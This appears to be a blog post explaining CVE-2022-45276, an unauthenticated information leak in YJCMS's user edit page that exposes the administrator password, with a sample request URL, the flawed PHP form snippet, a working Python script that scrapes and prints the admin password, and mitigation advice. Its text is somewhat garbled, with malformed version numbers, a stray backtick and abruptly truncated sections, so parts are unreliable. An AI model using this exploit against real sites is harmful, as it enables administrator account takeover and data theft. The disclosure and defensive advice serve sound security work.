Security vulnerabilities can have a devastating impact, especially when they give attackers access to administrator accounts. In this post, we’ll break down CVE-2022-45276, a security issue in YJCMS v1..9 that lets unauthenticated attackers grab the administrator’s password. We’ll show you how it works, share an exploit example, and provide links for more information.

What is YJCMS?

YJCMS is an open-source content management system (CMS) used to manage websites easily. Like other CMS platforms, it lets users add and edit content, and define roles like administrators and regular users.

The Vulnerability

CVE-2022-45276 affects the /index/user/user_edit.html component in version 1..9 of YJCMS. Here’s what’s happening:

The user edit page doesn’t verify the identity of the person accessing it ("unauthenticated").

- A flaw in the backend code leaks sensitive data (administrator credentials) when attackers craft a special HTTP request.

Why is this Bad?

Anyone—without even logging in—can exploit this to get the administrator’s password. Once they have this, they can log in, modify your site, or steal personal information.

`

http://youryjsmsite.com/index/user/user_edit.html?id=1

Server Responds With User Info:

The server responds with HTML including the administrator’s hashed password and even the plain password in some versions. This is sometimes found inside hidden fields in the HTML form.

Here’s a simplified (and dangerous) snippet

// user_edit.html (simplified pseudo-code)
<input type="text" name="username" value="<?php echo $user['username']; ?>">
<input type="password" name="password" value="<?php echo $user['password']; ?>">

The $user['password'] field often already contains the password in plaintext or weakly-hashed form!

Here’s how an attacker might automate the exploit using Python

import requests
from bs4 import BeautifulSoup

# Target URL (change host as needed)
url = 'http://targetsite/index/user/user_edit.html?id=1';

# No authentication required
response = requests.get(url)

# Parse the HTML
soup = BeautifulSoup(response.text, 'html.parser')

# Find the password field
password_input = soup.find('input', {'name': 'password'})

if password_input:
    password = password_input.get('value')
    print("[+] Admin password found:", password)
else:
    print("[-] Password not found!")

Note: This is a demonstration for educational and defensive use only! Don’t use this against systems you do not own or have permission to test.

Data Loss or Defacement: Websites can be modified, deleted, or defaced.

- Further Attacks: Once inside, the attacker could plant malware, steal user data, or pivot deeper into the server itself.

Update YJCMS: If a patch is available, update as soon as possible.

- Restrict Endpoint Access: Use authentication checks before any sensitive user info is shown—never expose credentials in forms or responses.
- Audit Code: Make sure no sensitive data is placed inside HTML form fields, especially for users with high privileges.

References

- NVD: CVE-2022-45276
- GitHub YJCMS
- Exploit Details on Exploit-DB
- CVE Details Page

Conclusion

CVE-2022-45276 is a reminder of why it’s so important to check authentication and never trust user input or expose sensitive data, even in hidden fields. If your site runs YJCMS v1..9, fix this right away. If you manage any CMS, review your user management logic—admin security is critical.

Timeline

Published on: 11/23/2022 21:15:00 UTC
Last modified on: 08/08/2023 14:22:00 UTC